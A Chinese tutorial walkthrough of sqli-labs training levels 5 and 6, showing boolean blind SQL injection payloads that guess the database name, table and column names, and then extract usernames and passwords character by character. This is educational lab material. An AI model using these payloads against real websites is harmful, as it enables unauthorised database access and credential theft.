本文主要是介绍SQL注入sqli_labs靶场第五、六题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第五题
根据报错信息,判断为单引号注入
没有发现回显点
方法:布尔盲注(太耗时,不推荐使用)
1)猜解数据库名字:(所有ASCII码值范围:0~127)
?id=1' and length(database())=8--+
页面正常显示,则为true,数据库名字长度为8
页面错误显示,则为false,数据库名字长度不为8
?id=1' and ascii(mid(database(),1,1))>64--+ 正常
?id=1' and ascii(mid(database(),1,1))>100--+ 正常
?id=1' and ascii(mid(database(),1,1))=115--+ 正常
?id=1' and ascii(mid(database(),2,1))=101--+ 正常
?id=1' and ascii(mid(database(),3,1))=99--+ 正常
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
2)猜解表名:(判断所有表名长度,依次猜解所有表名)
判断长度:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+
猜解表名
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+ 正常
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正常
说明第一个表第一个字符是r,依次猜解直到找到users表
3)猜解列名:(判断所有列名长度,依次猜解users表中列名)
判断长度:
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+
猜解列名:
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+
4)猜解账号密码
?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+
第六题
根据报错信息,判断为双引号注入
页面没有回显信息,采用布尔盲注,与第五题方法完全一致
这篇关于SQL注入sqli_labs靶场第五、六题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!